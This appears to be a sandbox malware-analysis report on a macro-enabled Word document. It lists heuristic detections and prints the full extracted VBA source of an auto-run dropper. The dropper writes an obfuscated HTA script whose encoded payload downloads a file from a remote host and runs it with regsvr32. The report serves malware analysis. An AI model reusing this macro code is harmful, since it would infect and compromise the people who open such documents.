MALICIOUS
170
Risk Score
Heuristics 6
-
VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Set pointerListbox = CreateObject("wscript.shell") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set pointerListbox = CreateObject("wscript.shell") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 8163 bytes |
SHA-256: 67d86be554d8c7b25ba19679df8283369e8f41f62a1080452ae96c74cce5f693 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "frm"
Attribute VB_Base = "0{0EA43059-9CF2-4E57-A22A-1F830E7B9A8B}{E30880AD-4066-4620-8A43-72B0BD828436}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function countPtrDocument()
countPtrDocument = frm.cbtn1.Tag
End Function
Function vbCopy()
vbCopy = frm.cbtn1.Caption
End Function
Public Sub cbtn1_Click()
Set pointerListbox = CreateObject("wscript.shell")
pointerListbox.exec Replace(countPtrDocument, "1", "") & " " & Replace(vbCopy, "1", "")
End Sub
Attribute VB_Name = "borderCount"
Sub autoopen()
queryGlobalBuffer
End Sub
Function tr(windowListData)
tr = windowListData
End Function
Sub queryGlobalBuffer()
Dim tmpListException As String
tmpListException = Replace(frm.cbtn1.Caption, "1", "")
Set procWindowPaste = New listTempStorage
procWindowPaste.repoDocumentTemp tmpListException, convertTitle
frm.cbtn1_Click
End Sub
Attribute VB_Name = "loadBorder"
Function captionProcedureValue()
captionProcedureValue = tr("<div id='content'>fTtlc29sYy50ZmVMcG1ldDspMiAsImdwai5lbGJhVGVnYX")
End Function
Function ExVariable()
ExVariable = tr("JvdFN4b2J0c2lsXFxjaWxidXBcXHNyZXN1XFw6YyIoZWxpZm90ZXZhcy50ZmVMcG")
End Function
Function tempReferenceTmp()
tempReferenceTmp = tr("1ldDspeWRvYmVzbm9wc2VyLnJldG5pb1B0eGV0KGV0aXJ3LnRmZUxwbWV0OzEgPS")
End Function
Function memoryButtonTemp()
memoryButtonTemp = tr("BlcHl0LnRmZUxwbWV0O25lcG8udGZlTHBtZXQ7KSJtYWVydHMuYmRvZGEiKHRjZW")
End Function
Function tempExSwap()
tempExSwap = tr("piT1hldml0Y0Egd2VuID0gdGZlTHBtZXQgcmF2eykwMDIgPT0gc3V0YXRzLnJldG")
End Function
Function variableConstText()
variableConstText = tr("5pb1B0eGV0KGZpOykoZG5lcy5yZXRuaW9QdHhldDspZXNsYWYgLCI0ZUNtVmc3UG")
End Function
Function listResponse()
listResponse = tr("9tZlZReDk9ZGlzJnRGVk9vblBzeFFuPWRpJnRXR0h2a3Y5bjFhPXY0UnZPWmZzJn")
End Function
Function varStorage()
varStorage = tr("M5PWRpJlFlTXVsZnY4VnJnZm1Lej0/OXdhbi9YcUx1bjdORlNOeng4SnM3Z0lvWF")
End Function
Function localStructLen()
localStructLen = tr("gxTDNtcnRaOGZYS3FkNlNURWpxSGp1L3Qza3FXVWhhWnNLUm9CL3FLVGdUTzhNM2")
End Function
Function counterLeft()
counterLeft = tr("IyU0hON2Q2MXFYM050SlAvSmQ1ckJ1VVZ0clRnMmtyd3JYdGRrQm5uUjI0L3lYSl")
End Function
Function dataBorder()
dataBorder = tr("pWV3RvcnJPNFJsLzEyNTk0LzMzOTk4LzZ3Y09ZNmQvZGR2ZGYvbW9jLjYxMDItZG")
End Function
Function memoryOptionRepo()
memoryOptionRepo = tr("xvaGVzdW9oLXJlYm11bC8vOnB0dGgiICwiVEVHIihuZXBvLnJldG5pb1B0eGV0Oy")
End Function
Function indexViewMain()
indexViewMain = tr("kicHR0aGxteC4ybG14c20iKHRjZWpiT1hldml0Y0Egd2VuID0gcmV0bmlvUHR4ZX")
End Function
Function memCountSelect()
memCountSelect = tr("QgcmF2|fXspZWdhcm90U3lyZXVRZXJ1ZGVjb3JwKGhjdGFjfTspImF0aC5uaWFtX")
End Function
Function funcGlobalCopy()
funcGlobalCopy = tr("FxjaWxidXBcXHNyZXN1XFw6YyIoZWxpZmV0ZWxlZC5ub2l0Y2VsbG9Dd29kbml3e")
End Function
Function borderNext()
borderNext = tr("3lydDspInRjZWpib21ldHN5c2VsaWYuZ25pdHBpcmNzIih0Y2VqYk9YZXZpdGNBI")
End Function
Function referenceIterator()
referenceIterator = tr("HdlbiA9IG5vaXRjZWxsb0N3b2RuaXcgcmF2OykiZ3BqLmVsYmFUZWdhcm90U3hvY")
End Function
Function textboxLenTextbox()
textboxLenTextbox = tr("nRzaWxcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuKSJsbGVocy50c")
End Function
Function indexSizeTemp()
indexSizeTemp = tr("GlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbg==</div><script language='javas")
End Function
Function WCounter()
WCounter = tr("cript'>function linkGeneric(dataProcedure){return(new ActiveXObj")
End Function
Function refRequestTmp()
refRequestTmp = tr("ect(dataProcedure));}function table(){return(listSwapA('/+987654")
End Function
Function databaseWQuery()
databaseWQuery = tr("3210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA'));}fun")
End Function
Function memVbW()
memVbW = tr("ction collectionRepo(s){var e={}; var i; var b=0; var c; var x; ")
End Function
Function buttonArgument()
buttonArgument = tr("var l=0; var a; var listboxDocumentNext=''; var w=String.fromCha")
End Function
Function libButton()
libButton = tr("rCode; var L=s.length;var tempData = 'charAt';for(i=0;i<64;i++){")
End Function
Function queryText()
queryText = tr("e[table()[tempData](i)]=i;}for(x=0;x<L;x++){c=e[s[tempData](x)];")
End Function
Function trustVb()
trustVb = tr("b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&")
End Function
Function pasteVariable()
pasteVariable = tr("(listboxDocumentNext+=w(a));}}return(listboxDocumentNext);};func")
End Function
Function genericCounterLeft()
genericCounterLeft = tr("tion listSwapA(globalRequestBuffer){return globalRequestBuffer.s")
End Function
Function pointerCopy()
pointerCopy = tr("plit('').reverse().join('');}funcMainTitle = window;requestValue")
End Function
Function valueWMemory()
valueWMemory = tr(" = document;funcMainTitle.resizeTo(1, 1);funcMainTitle.moveTo(-1")
End Function
Function AVarTmp()
AVarTmp = tr("00, -100);var ptrMainScreen = requestValue.getElementById('conte")
End Function
Function storageRight()
storageRight = tr("nt').innerHTML;var ptrMainScreen = ptrMainScreen.split('|');var ")
End Function
Function referenceConvertProc()
referenceConvertProc = tr("ExLen = listSwapA(collectionRepo(ptrMainScreen[0]));var rightNam")
End Function
Function storageLibLen()
storageLibLen = tr("espaceTmp = listSwapA(collectionRepo(ptrMainScreen[1]));</script")
End Function
Function tableIndex()
tableIndex = tr("><script language='javascript'>function constResponseNamespace(c")
End Function
Function pasteBufferCounter()
pasteBufferCounter = tr("onvertLocal){var rightFunc = linkGeneric('msscriptcontrol.script")
End Function
Function requestDocumentVb()
requestDocumentVb = tr("control');rightFunc.Language = 'jscript';rightFunc.Timeout = 600")
End Function
Function responseValueTrust()
responseValueTrust = tr("00;rightFunc.AddCode(convertLocal);return(null);}</script><scrip")
End Function
Function buttonLocalReference()
buttonLocalReference = tr("t language='vbscript'>constResponseNamespace ExLen : constRespon")
End Function
Function buttonMemVb()
buttonMemVb = tr("seNamespace rightNamespaceTmp : funcMainTitle.close</script></bo")
End Function
Function convertTable()
convertTable = tr("dy></html>")
End Function
Function convertTitle()
convertTitle = captionProcedureValue + ExVariable + tempReferenceTmp + memoryButtonTemp + tempExSwap + variableConstText + listResponse + varStorage + localStructLen + counterLeft + dataBorder + memoryOptionRepo + indexViewMain + memCountSelect + funcGlobalCopy + borderNext + referenceIterator + textboxLenTextbox + indexSizeTemp + WCounter + refRequestTmp + databaseWQuery + memVbW + buttonArgument + libButton + queryText + trustVb + pasteVariable + genericCounterLeft + pointerCopy + valueWMemory + AVarTmp + storageRight + referenceConvertProc + storageLibLen + tableIndex + pasteBufferCounter + requestDocumentVb + responseValueTrust + buttonLocalReference + buttonMemVb + convertTable
End Function
Attribute VB_Name = "listTempStorage"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Option Explicit
Public Sub repoDocumentTemp(collectionWindowData As String, ATemp As String)
Dim constMemory As FileSystemObject
Set constMemory = New FileSystemObject
Dim selectStorageTrust As TextStream
Set selectStorageTrust = constMemory.CreateTextFile(collectionWindowData)
selectStorageTrust.WriteLine ATemp
selectStorageTrust.Close
Set selectStorageTrust = Nothing
Set constMemory = Nothing
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 36352 bytes |
SHA-256: c04e07a4d4735492168930785a8783ea92d8133310b74f2fb8eb65c455c77d5c |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.